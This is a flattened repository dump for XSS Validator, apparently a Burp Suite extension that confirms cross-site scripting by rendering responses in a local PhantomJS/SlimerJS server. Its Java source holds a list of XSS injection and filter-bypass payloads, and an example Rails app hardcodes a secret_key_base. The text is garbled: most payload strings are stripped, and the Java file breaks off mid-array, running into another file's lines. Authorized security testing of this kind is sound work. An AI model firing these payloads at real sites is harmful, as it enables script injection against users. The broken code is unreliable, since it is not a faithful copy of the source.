├── .gitignore ├── BappDescription.html ├── BappManifest.bmf ├── README.md ├── build.gradle ├── burp-extender ├── .gitignore ├── bin │ └── burp │ │ └── build.xml └── src │ └── burp │ ├── BurpExtender.java │ ├── IBurpExtender.java │ ├── IBurpExtenderCallbacks.java │ ├── IContextMenuFactory.java │ ├── IContextMenuInvocation.java │ ├── ICookie.java │ ├── IExtensionHelpers.java │ ├── IExtensionStateListener.java │ ├── IHttpListener.java │ ├── IHttpRequestResponse.java │ ├── IHttpRequestResponsePersisted.java │ ├── IHttpRequestResponseWithMarkers.java │ ├── IHttpService.java │ ├── IInterceptedProxyMessage.java │ ├── IIntruderAttack.java │ ├── IIntruderPayloadGenerator.java │ ├── IIntruderPayloadGeneratorFactory.java │ ├── IIntruderPayloadProcessor.java │ ├── IMenuItemHandler.java │ ├── IMessageEditor.java │ ├── IMessageEditorController.java │ ├── IMessageEditorTab.java │ ├── IMessageEditorTabFactory.java │ ├── IParameter.java │ ├── IProxyListener.java │ ├── IRequestInfo.java │ ├── IResponseInfo.java │ ├── IScanIssue.java │ ├── IScanQueueItem.java │ ├── IScannerCheck.java │ ├── IScannerInsertionPoint.java │ ├── IScannerInsertionPointProvider.java │ ├── IScannerListener.java │ ├── IScopeChangeListener.java │ ├── ISessionHandlingAction.java │ ├── ITab.java │ ├── ITempFile.java │ ├── ITextEditor.java │ └── build.xml ├── examples ├── .DS_Store ├── basic-auth-test │ ├── .gitignore │ ├── Gemfile │ ├── Gemfile.lock │ ├── README.rdoc │ ├── Rakefile │ ├── app │ │ ├── assets │ │ │ ├── images │ │ │ │ └── .keep │ │ │ ├── javascripts │ │ │ │ └── application.js │ │ │ └── stylesheets │ │ │ │ └── application.css │ │ ├── controllers │ │ │ ├── application_controller.rb │ │ │ ├── application_controller.rb~ │ │ │ ├── concerns │ │ │ │ └── .keep │ │ │ ├── script_controller.rb │ │ │ ├── user_controller.rb │ │ │ └── user_controller.rb~ │ │ ├── helpers │ │ │ └── application_helper.rb │ │ ├── mailers │ │ │ └── .keep │ │ ├── models │ │ │ ├── .keep │ │ │ └── concerns │ │ │ │ └── .keep │ │ └── views │ │ │ ├── layouts │ │ │ └── application.html.erb │ │ │ ├── private │ │ │ └── _admin.html.erb │ │ │ └── user │ │ │ ├── show.html.erb │ │ │ └── show.html.erb~ │ ├── bin │ │ ├── bundle │ │ ├── rails │ │ └── rake │ ├── config.ru │ ├── config │ │ ├── application.rb │ │ ├── boot.rb │ │ ├── database.yml │ │ ├── environment.rb │ │ ├── environments │ │ │ ├── development.rb │ │ │ ├── production.rb │ │ │ └── test.rb │ │ ├── initializers │ │ │ ├── backtrace_silencers.rb │ │ │ ├── filter_parameter_logging.rb │ │ │ ├── inflections.rb │ │ │ ├── mime_types.rb │ │ │ ├── secret_token.rb │ │ │ ├── session_store.rb │ │ │ └── wrap_parameters.rb │ │ ├── locales │ │ │ └── en.yml │ │ └── routes.rb │ ├── db │ │ └── seeds.rb │ ├── lib │ │ ├── assets │ │ │ └── .keep │ │ └── tasks │ │ │ └── .keep │ ├── log │ │ └── .keep │ ├── public │ │ ├── 404.html │ │ ├── 422.html │ │ ├── 500.html │ │ ├── favicon.ico │ │ └── robots.txt │ ├── test │ │ ├── controllers │ │ │ └── .keep │ │ ├── fixtures │ │ │ └── .keep │ │ ├── helpers │ │ │ └── .keep │ │ ├── integration │ │ │ └── .keep │ │ ├── mailers │ │ │ └── .keep │ │ ├── models │ │ │ └── .keep │ │ └── test_helper.rb │ └── vendor │ │ └── assets │ │ ├── javascripts │ │ └── .keep │ │ └── stylesheets │ │ └── .keep ├── basic-xss.php ├── bypass-regex.php ├── dom-xss extensive tests │ ├── .DS_Store │ ├── README.md │ ├── README.txt │ ├── location.hash.htmlinject.dquot.html │ ├── location.hash.htmlinject.html │ ├── location.hash.htmlinject.squot.html │ ├── location.hash.jsinject.dquot.html │ ├── location.hash.jsinject.html │ ├── location.hash.jsinject.squot.html │ ├── location.pathname.htmlinject.dquot.php │ ├── location.pathname.htmlinject.php │ ├── location.pathname.htmlinject.squot.php │ ├── location.pathname.jsinject.dquot.php │ ├── location.pathname.jsinject.squot.php │ ├── location.search.htmlinject.dquot.html │ ├── location.search.htmlinject.html │ ├── location.search.htmlinject.squot.html │ ├── location.search.jsinject.dquot.html │ ├── location.search.jsinject.html │ ├── location.search.jsinject.squot.html │ └── test_results.csv ├── dom-xss.php ├── jquery-1.11.1.min.js ├── jscontext-xss.php └── resource-load.php ├── license.txt ├── settings.gradle └── xss-detector └── xss.js /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | .gradle/ 3 | build/ 4 | -------------------------------------------------------------------------------- /BappDescription.html: -------------------------------------------------------------------------------- 1 |

This extension sends responses to a locally-running 2 | XSS-Detector server, powered by either Phantom.js and/or Slimer.js

3 |

Usage:

4 |

Before starting an attack it is necessary to start the XSS-Detector servers. 5 | Navigate to the xss-detector directory and execute the following:

6 |

$ phantomjs xss.js &
$ slimerjs slimer.js &

7 |

The server will listen by default on port 8093. The server is expecting 8 | base64 encoded page responses passed via the http-response, which will be passed 9 | via the Burp extender.

10 |

Navigate to the 11 | xssValidator tab, and copy the value for Grep Phrase. Enter this value within 12 | the Burp Intruder grep-match function. Payloads that match this Grep Phrase 13 | indicate successful execution of XSS payload.

14 |

Examples:

15 |

Within the xss-detector directory there is a folder of examples which can be 16 | used to test the extenders functionality.

17 | 27 | 28 |

Requires Java version 7

-------------------------------------------------------------------------------- /BappManifest.bmf: -------------------------------------------------------------------------------- 1 | Uuid: 98275a25394a417c9480f58740c1d981 2 | ExtensionType: 1 3 | Name: XSS Validator 4 | RepoName: xss-validator 5 | ScreenVersion: 1.3.2a 6 | SerialVersion: 7 7 | MinPlatformVersion: 0 8 | ProOnly: True 9 | Author: John Poulin 10 | ShortDescription: Sends responses to a locally-running XSS-Detector server. 11 | EntryPoint: build/libs/xss-validator-all.jar 12 | BuildCommand: gradle fatJar 13 | SupportedProducts: Pro 14 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | 3 |

4 | 5 | This is a burp intruder extender that is designed for automation and validation of XSS 6 | vulnerabilities. 7 | 8 | For more information, check out this blog post: http://blog.nvisium.com/2014/01/accurate-xss-detection-with-burpsuite.html 9 | 10 | 11 | XSS Detection 12 | ------------- 13 | 14 | The burp intruder extender will be designed to forward responses to the XSS detection 15 | server, that will need to be running externally. 16 | 17 | The XSS detection server is powered by Phantom.js and/or Slimer.js. 18 | 19 | The XSS detection is influenced by Trustwave's blog post: Server-Side XSS Attack Detection with ModSecurity and PhantomJS:http://blog.spiderlabs.com/2013/02/server-site-xss-attack-detection-with-modsecurity-and-phantomjs.html 20 | 21 | Building Extender .Jar 22 | ---------------------- 23 | 24 | To build the extender .jar file, we first need to ensure that the system has ant, and is running version Java 7 or higher. 25 | 26 | First, download the apache HttpComponents Client libraries. These libraries are available for free from http://hc.apache.org/. Once the libraries have been downloaded, create a lib directory in the project root and move the .jar libraries into this directory: 27 | 28 | $ mkdir /path/to/xssValidator/burp-extender/lib 29 | $ mv /path/to/libs/*.jar /path/to/xssValidator/burp-extender/lib/ 30 | 31 | Now, navigate to the burp-extender/bin/burp directory: 32 | 33 | $ cd burp-extender/bin/burp 34 | 35 | Build the jar using Apache ant: 36 | 37 | $ ant 38 | 39 | After this has completed you should see a BUILD SUCCESSFUL message. The .jar file is located in burp-extender/bin/burp/xssValidator.jar. Import this into Burp. 40 | 41 | Usage 42 | ----- 43 | 44 | Before starting an attack it is necessary to start the phantom and/or slimer xss-detection servers. Navigate to the xss-detector directory and execute the following to start phantom.js xss-detection script: 45 | 46 | $ phantomjs xss.js & 47 | $ slimerjs slimer.js & 48 | 49 | The server is expecting base64 encoded page responses passed via the http-response, which will be passed via the Burp extender. 50 | 51 | Examples 52 | -------- 53 | 54 | Within the xss-detector directory there is a folder of examples which can be used to test 55 | the extenders functionality. 56 | 57 | * **Basic-xss.php**: This is the most basic example of a web application that is vulnerable to XSS. It demonstrates how legitimate javascript functionality, such as alerts and console logs, do not trigger false-positives. 58 | * **Bypass-regex.php**: This demonstrates a XSS vulnerability that occurs when users attempt to filter input by running it through a single-pass regex. 59 | * **Dom-xss.php**: A basic script that demonstrates the tools ability to inject payloads into javascript functionality, and detect their success. 60 | -------------------------------------------------------------------------------- /build.gradle: -------------------------------------------------------------------------------- 1 | apply plugin: 'java' 2 | 3 | repositories { 4 | mavenCentral() 5 | } 6 | 7 | targetCompatibility = '1.8' 8 | sourceCompatibility = '1.8' 9 | 10 | dependencies { 11 | compile 'net.portswigger.burp.extender:burp-extender-api:1.7.13' 12 | compile 'commons-codec:commons-codec:1.10' 13 | compile 'org.apache.httpcomponents:httpcore:4.3.3' 14 | compile 'org.apache.httpcomponents:httpcomponents-client:4.3.2' 15 | compile 'org.apache.httpcomponents:httpclient-cache:4.3.2' 16 | } 17 | 18 | sourceSets { 19 | main { 20 | java { 21 | srcDir 'burp-extender/src' 22 | } 23 | } 24 | } 25 | 26 | task fatJar(type: Jar) { 27 | baseName = project.name + '-all' 28 | from { configurations.compile.collect { it.isDirectory() ? it : zipTree(it) } } 29 | with jar 30 | } 31 | -------------------------------------------------------------------------------- /burp-extender/.gitignore: -------------------------------------------------------------------------------- 1 | /bin 2 | *.jar 3 | .project 4 | .classpath 5 | .externalToolBuilders 6 | .settings 7 | -------------------------------------------------------------------------------- /burp-extender/bin/burp/build.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /burp-extender/src/burp/BurpExtender.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import java.util.regex.*; 4 | 5 | import java.awt.BorderLayout; 6 | import java.awt.GridLayout; 7 | import java.awt.Font; 8 | import java.awt.Component; 9 | import java.awt.Dimension; 10 | import java.io.PrintWriter; 11 | import java.util.ArrayList; 12 | import java.util.List; 13 | import java.net.URL; 14 | 15 | import javax.swing.JButton; 16 | import javax.swing.JLabel; 17 | import javax.swing.JPanel; 18 | import javax.swing.JScrollPane; 19 | import javax.swing.JTabbedPane; 20 | import javax.swing.JTextArea; 21 | import javax.swing.JTextField; 22 | import javax.swing.ScrollPaneConstants; 23 | import javax.swing.SwingUtilities; 24 | 25 | import org.apache.commons.codec.binary.Base64; 26 | import org.apache.http.HttpResponse; 27 | import org.apache.http.client.HttpClient; 28 | import org.apache.http.client.entity.UrlEncodedFormEntity; 29 | import org.apache.http.client.methods.HttpPost; 30 | import org.apache.http.impl.client.HttpClientBuilder; 31 | import org.apache.http.message.BasicNameValuePair; 32 | import org.apache.http.util.EntityUtils; 33 | 34 | import burp.ITab; 35 | 36 | public class BurpExtender implements IBurpExtender, ITab, IHttpListener, 37 | IIntruderPayloadGeneratorFactory, IIntruderPayloadProcessor, IScannerCheck { 38 | private static final String VERSION = "1.3.2"; 39 | 40 | public IBurpExtenderCallbacks mCallbacks; 41 | private IExtensionHelpers helpers; 42 | private PrintWriter stdout; 43 | private PrintWriter stderr; 44 | private HttpClient client; 45 | private static String phantomServer = "http://127.0.0.1:8093"; 46 | 47 | private static String slimerServer = "http://127.0.0.1:8094"; 48 | 49 | public static String triggerPhrase = "299792458"; 50 | public static String grepPhrase = "fy7sdufsuidfhuisdf"; 51 | public static String errorGrepPhrase = "uerhgrgwgwiuhuiogj"; 52 | public JLabel htmlDescription; 53 | public JPanel mainPanel; 54 | public JPanel leftPanel; 55 | public JPanel serverConfig; 56 | public JPanel notice; 57 | public JPanel rightPanel; 58 | public JTextField phantomURL; 59 | public JTextField slimerURL; 60 | public JTextField grepVal; 61 | public JTextField errorGrepVal; 62 | public JTabbedPane tabbedPane; 63 | public JButton btnAddText; 64 | public JButton btnSaveTabAsTemplate; 65 | public JButton btnRemoveTab; 66 | public JTextField functionsTextfield; 67 | public JTextArea attackStringsTextarea; 68 | public JTextField eventHandlerTextfield; 69 | public JScrollPane scrollingArea; 70 | public static final String JAVASCRIPT_PLACEHOLDER = "{JAVASCRIPT}"; 71 | public static final String EVENTHANDLER_PLACEHOLDER = "{EVENTHANDLER}"; 72 | 73 | 74 | public static final byte[][] PAYLOADS = { 75 | ("").getBytes(), 76 | ("" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "").getBytes(), 77 | ("\">").getBytes(), 78 | ("\"><\"").getBytes(), 79 | ("'>").getBytes(), 80 | ("'><'").getBytes(), 81 | ("").getBytes(), 82 | ("pt>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";ipt>").getBytes(), 83 | ("PT>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";IPT>").getBytes(), 84 | ("ipt>pt>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";ript>ipt>").getBytes(), 85 | ("\";" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";\"").getBytes(), 86 | ("';" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";'").getBytes(), 87 | (";" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";").getBytes(), 88 | (BurpExtender.JAVASCRIPT_PLACEHOLDER + ";").getBytes(), 89 | ("" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "").getBytes(), 90 | ("\\\";" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";//").getBytes(), 91 | ("").getBytes(), 93 | ("<").getBytes(), 94 | ("\"" + BurpExtender.EVENTHANDLER_PLACEHOLDER + "=" 95 | + BurpExtender.JAVASCRIPT_PLACEHOLDER + " ").getBytes(), 96 | ("<").getBytes(), 97 | ("").getBytes(), 98 | ("\">").getBytes(), 104 | ("'>").getBytes(), 105 | ("\"\"\"> 5 | 6 | -------------------------------------------------------------------------------- /examples/basic-auth-test/app/views/user/show.html.erb~: -------------------------------------------------------------------------------- 1 | Hello world! 2 | <%= render :partial => "private/admin" %> -------------------------------------------------------------------------------- /examples/basic-auth-test/bin/bundle: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__) 3 | load Gem.bin_path('bundler', 'bundle') 4 | -------------------------------------------------------------------------------- /examples/basic-auth-test/bin/rails: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | APP_PATH = File.expand_path('../../config/application', __FILE__) 3 | require_relative '../config/boot' 4 | require 'rails/commands' 5 | -------------------------------------------------------------------------------- /examples/basic-auth-test/bin/rake: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | require_relative '../config/boot' 3 | require 'rake' 4 | Rake.application.run 5 | -------------------------------------------------------------------------------- /examples/basic-auth-test/config.ru: -------------------------------------------------------------------------------- 1 | # This file is used by Rack-based servers to start the application. 2 | 3 | require ::File.expand_path('../config/environment', __FILE__) 4 | run Rails.application 5 | -------------------------------------------------------------------------------- /examples/basic-auth-test/config/application.rb: -------------------------------------------------------------------------------- 1 | require File.expand_path('../boot', __FILE__) 2 | 3 | require 'rails/all' 4 | 5 | # Require the gems listed in Gemfile, including any gems 6 | # you've limited to :test, :development, or :production. 7 | Bundler.require(*Rails.groups) 8 | 9 | module RailsRce 10 | class Application < Rails::Application 11 | # Settings in config/environments/* take precedence over those specified here. 12 | # Application configuration should go into files in config/initializers 13 | # -- all .rb files in that directory are automatically loaded. 14 | 15 | # Set Time.zone default to the specified zone and make Active Record auto-convert to this zone. 16 | # Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC. 17 | # config.time_zone = 'Central Time (US & Canada)' 18 | 19 | # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded. 20 | # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s] 21 | # config.i18n.default_locale = :de 22 | end 23 | end 24 | -------------------------------------------------------------------------------- /examples/basic-auth-test/config/boot.rb: -------------------------------------------------------------------------------- 1 | # Set up gems listed in the Gemfile. 2 | ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__) 3 | 4 | require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE']) 5 | -------------------------------------------------------------------------------- /examples/basic-auth-test/config/database.yml: -------------------------------------------------------------------------------- 1 | # SQLite version 3.x 2 | # gem install sqlite3 3 | # 4 | # Ensure the SQLite 3 gem is defined in your Gemfile 5 | # gem 'sqlite3' 6 | development: 7 | adapter: sqlite3 8 | database: db/development.sqlite3 9 | pool: 5 10 | timeout: 5000 11 | 12 | # Warning: The database defined as "test" will be erased and 13 | # re-generated from your development database when you run "rake". 14 | # Do not set this db to the same as development or production. 15 | test: 16 | adapter: sqlite3 17 | database: db/test.sqlite3 18 | pool: 5 19 | timeout: 5000 20 | 21 | production: 22 | adapter: sqlite3 23 | database: db/production.sqlite3 24 | pool: 5 25 | timeout: 5000 26 | -------------------------------------------------------------------------------- /examples/basic-auth-test/config/environment.rb: -------------------------------------------------------------------------------- 1 | # Load the Rails application. 2 | require File.expand_path('../application', __FILE__) 3 | 4 | # Initialize the Rails application. 5 | RailsRce::Application.initialize! 6 | -------------------------------------------------------------------------------- /examples/basic-auth-test/config/environments/development.rb: -------------------------------------------------------------------------------- 1 | RailsRce::Application.configure do 2 | # Settings specified here will take precedence over those in config/application.rb. 3 | 4 | # In the development environment your application's code is reloaded on 5 | # every request. This slows down response time but is perfect for development 6 | # since you don't have to restart the web server when you make code changes. 7 | config.cache_classes = false 8 | 9 | # Do not eager load code on boot. 10 | config.eager_load = false 11 | 12 | # Show full error reports and disable caching. 13 | config.consider_all_requests_local = true 14 | config.action_controller.perform_caching = false 15 | 16 | # Don't care if the mailer can't send. 17 | config.action_mailer.raise_delivery_errors = false 18 | 19 | # Print deprecation notices to the Rails logger. 20 | config.active_support.deprecation = :log 21 | 22 | # Raise an error on page load if there are pending migrations 23 | config.active_record.migration_error = :page_load 24 | 25 | # Debug mode disables concatenation and preprocessing of assets. 26 | # This option may cause significant delays in view rendering with a large 27 | # number of complex assets. 28 | config.assets.debug = true 29 | end 30 | -------------------------------------------------------------------------------- /examples/basic-auth-test/config/environments/production.rb: -------------------------------------------------------------------------------- 1 | RailsRce::Application.configure do 2 | # Settings specified here will take precedence over those in config/application.rb. 3 | 4 | # Code is not reloaded between requests. 5 | config.cache_classes = true 6 | 7 | # Eager load code on boot. This eager loads most of Rails and 8 | # your application in memory, allowing both thread web servers 9 | # and those relying on copy on write to perform better. 10 | # Rake tasks automatically ignore this option for performance. 11 | config.eager_load = true 12 | 13 | # Full error reports are disabled and caching is turned on. 14 | config.consider_all_requests_local = false 15 | config.action_controller.perform_caching = true 16 | 17 | # Enable Rack::Cache to put a simple HTTP cache in front of your application 18 | # Add `rack-cache` to your Gemfile before enabling this. 19 | # For large-scale production use, consider using a caching reverse proxy like nginx, varnish or squid. 20 | # config.action_dispatch.rack_cache = true 21 | 22 | # Disable Rails's static asset server (Apache or nginx will already do this). 23 | config.serve_static_assets = false 24 | 25 | # Compress JavaScripts and CSS. 26 | config.assets.js_compressor = :uglifier 27 | # config.assets.css_compressor = :sass 28 | 29 | # Do not fallback to assets pipeline if a precompiled asset is missed. 30 | config.assets.compile = false 31 | 32 | # Generate digests for assets URLs. 33 | config.assets.digest = true 34 | 35 | # Version of your assets, change this if you want to expire all your assets. 36 | config.assets.version = '1.0' 37 | 38 | # Specifies the header that your server uses for sending files. 39 | # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache 40 | # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx 41 | 42 | # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies. 43 | # config.force_ssl = true 44 | 45 | # Set to :debug to see everything in the log. 46 | config.log_level = :info 47 | 48 | # Prepend all log lines with the following tags. 49 | # config.log_tags = [ :subdomain, :uuid ] 50 | 51 | # Use a different logger for distributed setups. 52 | # config.logger = ActiveSupport::TaggedLogging.new(SyslogLogger.new) 53 | 54 | # Use a different cache store in production. 55 | # config.cache_store = :mem_cache_store 56 | 57 | # Enable serving of images, stylesheets, and JavaScripts from an asset server. 58 | # config.action_controller.asset_host = "http://assets.example.com" 59 | 60 | # Precompile additional assets. 61 | # application.js, application.css, and all non-JS/CSS in app/assets folder are already added. 62 | # config.assets.precompile += %w( search.js ) 63 | 64 | # Ignore bad email addresses and do not raise email delivery errors. 65 | # Set this to true and configure the email server for immediate delivery to raise delivery errors. 66 | # config.action_mailer.raise_delivery_errors = false 67 | 68 | # Enable locale fallbacks for I18n (makes lookups for any locale fall back to 69 | # the I18n.default_locale when a translation can not be found). 70 | config.i18n.fallbacks = true 71 | 72 | # Send deprecation notices to registered listeners. 73 | config.active_support.deprecation = :notify 74 | 75 | # Disable automatic flushing of the log to improve performance. 76 | # config.autoflush_log = false 77 | 78 | # Use default logging formatter so that PID and timestamp are not suppressed. 79 | config.log_formatter = ::Logger::Formatter.new 80 | end 81 | -------------------------------------------------------------------------------- /examples/basic-auth-test/config/environments/test.rb: -------------------------------------------------------------------------------- 1 | RailsRce::Application.configure do 2 | # Settings specified here will take precedence over those in config/application.rb. 3 | 4 | # The test environment is used exclusively to run your application's 5 | # test suite. You never need to work with it otherwise. Remember that 6 | # your test database is "scratch space" for the test suite and is wiped 7 | # and recreated between test runs. Don't rely on the data there! 8 | config.cache_classes = true 9 | 10 | # Do not eager load code on boot. This avoids loading your whole application 11 | # just for the purpose of running a single test. If you are using a tool that 12 | # preloads Rails for running tests, you may have to set it to true. 13 | config.eager_load = false 14 | 15 | # Configure static asset server for tests with Cache-Control for performance. 16 | config.serve_static_assets = true 17 | config.static_cache_control = "public, max-age=3600" 18 | 19 | # Show full error reports and disable caching. 20 | config.consider_all_requests_local = true 21 | config.action_controller.perform_caching = false 22 | 23 | # Raise exceptions instead of rendering exception templates. 24 | config.action_dispatch.show_exceptions = false 25 | 26 | # Disable request forgery protection in test environment. 27 | config.action_controller.allow_forgery_protection = false 28 | 29 | # Tell Action Mailer not to deliver emails to the real world. 30 | # The :test delivery method accumulates sent emails in the 31 | # ActionMailer::Base.deliveries array. 32 | config.action_mailer.delivery_method = :test 33 | 34 | # Print deprecation notices to the stderr. 35 | config.active_support.deprecation = :stderr 36 | end 37 | -------------------------------------------------------------------------------- /examples/basic-auth-test/config/initializers/backtrace_silencers.rb: -------------------------------------------------------------------------------- 1 | # Be sure to restart your server when you modify this file. 2 | 3 | # You can add backtrace silencers for libraries that you're using but don't wish to see in your backtraces. 4 | # Rails.backtrace_cleaner.add_silencer { |line| line =~ /my_noisy_library/ } 5 | 6 | # You can also remove all the silencers if you're trying to debug a problem that might stem from framework code. 7 | # Rails.backtrace_cleaner.remove_silencers! 8 | -------------------------------------------------------------------------------- /examples/basic-auth-test/config/initializers/filter_parameter_logging.rb: -------------------------------------------------------------------------------- 1 | # Be sure to restart your server when you modify this file. 2 | 3 | # Configure sensitive parameters which will be filtered from the log file. 4 | Rails.application.config.filter_parameters += [:password] 5 | -------------------------------------------------------------------------------- /examples/basic-auth-test/config/initializers/inflections.rb: -------------------------------------------------------------------------------- 1 | # Be sure to restart your server when you modify this file. 2 | 3 | # Add new inflection rules using the following format. Inflections 4 | # are locale specific, and you may define rules for as many different 5 | # locales as you wish. All of these examples are active by default: 6 | # ActiveSupport::Inflector.inflections(:en) do |inflect| 7 | # inflect.plural /^(ox)$/i, '\1en' 8 | # inflect.singular /^(ox)en/i, '\1' 9 | # inflect.irregular 'person', 'people' 10 | # inflect.uncountable %w( fish sheep ) 11 | # end 12 | 13 | # These inflection rules are supported but not enabled by default: 14 | # ActiveSupport::Inflector.inflections(:en) do |inflect| 15 | # inflect.acronym 'RESTful' 16 | # end 17 | -------------------------------------------------------------------------------- /examples/basic-auth-test/config/initializers/mime_types.rb: -------------------------------------------------------------------------------- 1 | # Be sure to restart your server when you modify this file. 2 | 3 | # Add new mime types for use in respond_to blocks: 4 | # Mime::Type.register "text/richtext", :rtf 5 | # Mime::Type.register_alias "text/html", :iphone 6 | -------------------------------------------------------------------------------- /examples/basic-auth-test/config/initializers/secret_token.rb: -------------------------------------------------------------------------------- 1 | # Be sure to restart your server when you modify this file. 2 | 3 | # Your secret key is used for verifying the integrity of signed cookies. 4 | # If you change this key, all old signed cookies will become invalid! 5 | 6 | # Make sure the secret is at least 30 characters and all random, 7 | # no regular words or you'll be exposed to dictionary attacks. 8 | # You can use `rake secret` to generate a secure secret key. 9 | 10 | # Make sure your secret_key_base is kept private 11 | # if you're sharing your code publicly. 12 | RailsRce::Application.config.secret_key_base = 'f7bf1d74d919ce59a5b60e267965b0c1ae9feb980bd9f1aff3407f46f0069cf5b6dea22ad943a67d66eba58ec1f5551a4ce1981974d8738824a8d9a53e49360d' 13 | -------------------------------------------------------------------------------- /examples/basic-auth-test/config/initializers/session_store.rb: -------------------------------------------------------------------------------- 1 | # Be sure to restart your server when you modify this file. 2 | 3 | RailsRce::Application.config.session_store :cookie_store, key: '_rails-rce_session' 4 | -------------------------------------------------------------------------------- /examples/basic-auth-test/config/initializers/wrap_parameters.rb: -------------------------------------------------------------------------------- 1 | # Be sure to restart your server when you modify this file. 2 | 3 | # This file contains settings for ActionController::ParamsWrapper which 4 | # is enabled by default. 5 | 6 | # Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array. 7 | ActiveSupport.on_load(:action_controller) do 8 | wrap_parameters format: [:json] if respond_to?(:wrap_parameters) 9 | end 10 | 11 | # To enable root element in JSON for ActiveRecord objects. 12 | # ActiveSupport.on_load(:active_record) do 13 | # self.include_root_in_json = true 14 | # end 15 | -------------------------------------------------------------------------------- /examples/basic-auth-test/config/locales/en.yml: -------------------------------------------------------------------------------- 1 | # Files in the config/locales directory are used for internationalization 2 | # and are automatically loaded by Rails. If you want to use locales other 3 | # than English, add the necessary files in this directory. 4 | # 5 | # To use the locales, use `I18n.t`: 6 | # 7 | # I18n.t 'hello' 8 | # 9 | # In views, this is aliased to just `t`: 10 | # 11 | # <%= t('hello') %> 12 | # 13 | # To use a different locale, set it with `I18n.locale`: 14 | # 15 | # I18n.locale = :es 16 | # 17 | # This would use the information in config/locales/es.yml. 18 | # 19 | # To learn more, please read the Rails Internationalization guide 20 | # available at http://guides.rubyonrails.org/i18n.html. 21 | 22 | en: 23 | hello: "Hello world" 24 | -------------------------------------------------------------------------------- /examples/basic-auth-test/config/routes.rb: -------------------------------------------------------------------------------- 1 | RailsRce::Application.routes.draw do 2 | get 'users/:id', to: 'user#show' 3 | get 'script', to: 'script#index' 4 | end 5 | -------------------------------------------------------------------------------- /examples/basic-auth-test/db/seeds.rb: -------------------------------------------------------------------------------- 1 | # This file should contain all the record creation needed to seed the database with its default values. 2 | # The data can then be loaded with the rake db:seed (or created alongside the db with db:setup). 3 | # 4 | # Examples: 5 | # 6 | # cities = City.create([{ name: 'Chicago' }, { name: 'Copenhagen' }]) 7 | # Mayor.create(name: 'Emanuel', city: cities.first) 8 | -------------------------------------------------------------------------------- /examples/basic-auth-test/lib/assets/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PortSwigger/xss-validator/739d54a84534c3013601ea66b222ee98fa3704da/examples/basic-auth-test/lib/assets/.keep -------------------------------------------------------------------------------- /examples/basic-auth-test/lib/tasks/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PortSwigger/xss-validator/739d54a84534c3013601ea66b222ee98fa3704da/examples/basic-auth-test/lib/tasks/.keep -------------------------------------------------------------------------------- /examples/basic-auth-test/log/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PortSwigger/xss-validator/739d54a84534c3013601ea66b222ee98fa3704da/examples/basic-auth-test/log/.keep -------------------------------------------------------------------------------- /examples/basic-auth-test/public/404.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | The page you were looking for doesn't exist (404) 5 | 48 | 49 | 50 | 51 | 52 |
53 |

The page you were looking for doesn't exist.

54 |

You may have mistyped the address or the page may have moved.

55 |
56 |

If you are the application owner check the logs for more information.

57 | 58 | 59 | -------------------------------------------------------------------------------- /examples/basic-auth-test/public/422.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | The change you wanted was rejected (422) 5 | 48 | 49 | 50 | 51 | 52 |
53 |

The change you wanted was rejected.

54 |

Maybe you tried to change something you didn't have access to.

55 |
56 |

If you are the application owner check the logs for more information.

57 | 58 | 59 | -------------------------------------------------------------------------------- /examples/basic-auth-test/public/500.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | We're sorry, but something went wrong (500) 5 | 48 | 49 | 50 | 51 | 52 |
53 |

We're sorry, but something went wrong.

54 |
55 |

If you are the application owner check the logs for more information.

56 | 57 | 58 | -------------------------------------------------------------------------------- /examples/basic-auth-test/public/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PortSwigger/xss-validator/739d54a84534c3013601ea66b222ee98fa3704da/examples/basic-auth-test/public/favicon.ico -------------------------------------------------------------------------------- /examples/basic-auth-test/public/robots.txt: -------------------------------------------------------------------------------- 1 | # See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file 2 | # 3 | # To ban all spiders from the entire site uncomment the next two lines: 4 | # User-agent: * 5 | # Disallow: / 6 | -------------------------------------------------------------------------------- /examples/basic-auth-test/test/controllers/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PortSwigger/xss-validator/739d54a84534c3013601ea66b222ee98fa3704da/examples/basic-auth-test/test/controllers/.keep -------------------------------------------------------------------------------- /examples/basic-auth-test/test/fixtures/.keep: -------------------------------------------------------------------------------- 